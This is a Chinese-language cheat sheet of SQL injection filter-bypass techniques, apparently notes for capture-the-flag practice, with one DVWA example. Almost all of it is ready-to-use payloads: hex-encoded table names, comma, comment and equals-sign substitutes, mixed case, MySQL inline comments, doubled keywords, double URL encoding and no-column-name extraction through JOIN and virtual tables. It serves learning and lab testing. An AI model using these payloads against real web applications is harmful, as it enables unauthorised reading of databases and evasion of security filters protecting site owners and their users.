select column_name from information_schema.tables where table_name="ctf" 将ctf用16进制表示之后 select column_name from information_schema.tables where table_name=0x7573657273
过滤逗号
使用from语句绕过
1 2
select substr(database() from 1 for 1); select mid(database() from 1 for 1);
使用join绕过
1 2 3
union select 1,2 等价于 union select * from (select 1)a join (select 2)b
使用like绕过
1 2 3
select ascii(mid(user(),1,1))=80 等价于 select user() like 'r%'
%类似于一个通配符
使用offset绕过
1 2 3
select * from news limit 0,1 等价于 select * from news limit 1 offset 0
过滤注释符
过滤注释符绕过
1
--+ # %23 --%20
绕过方法
1
?id=1' and '1'='1
过滤等号
使用like 、rlike 、regexp
过滤or and xor not
1 2 3 4
and='&&' or='||' xor='|' not='!' //感叹号
过滤union select
大小写绕过
1
id=1' UniON sElect
内联注释
MySQL会执行放在/!…/中的语句。例如:/*!select*/*/*!from*/users;
1
id=-1' /*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*!information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
双写关键字
1
id=-1' union selselectect 1,2,3–-+
双重URL编码绕过
1
id=1and1=2 union ses%256cect 1,2,database()
通过将select进行双重编码绕过了select关键字过滤,获取了数据库的信息
十六进制编码绕过
1 2 3 4 5
MySQL数据库可以识别十六进制,会对十六进制的数据进行自动转换
--->【dvwa-medium-sql】 id=1and1=2 union select 1,group_concat(table_name),3from information_schema.tables where table_gchema=0x6374667377696b69
正常查users表的数据是select * from users; 如果你的查询语句是 select 1,2,3 union select * from users where id=1; mysql数据库就会生成一个虚拟的表 那么就可以将查询的列改成1,2,3 使用语句select 2 from (select 1,2,3 union select * from users where id=1)a; 这条sql语句在联合查询创建虚拟表a,在创建虚拟列1,2,3的同时查询虚拟表第二列的数据 差多列的时候 select group_concat(1,2) from (select 1,2,3 union select * from users where id=1)a; 如果反引号被ban了,可以使用如下语句 select 1 as a,2 as b,3 as c union select * from users where id=1;看下效果 接下来查询语句就变成了 select b from(select 1 as a,2 as b,3 as c union select * from users where id=1)a; 不过多演示
join无列明注入
通过JOIN建立两个表之间的内连接,也就是说将两张表的列名给加起来,可能会爆出相同的列的名字,我们利用的就是这个特性来爆出列名,比如 select * from (select * from users as a join users as b)a; 现在得到了第一个列名,那么用接下来这个语句来爆出第二个 select * from (select * from users as a join users as b using(id))a; 然后在爆出第三个,以此类推 select * from (select * from users as a join users as b using(id,username))a;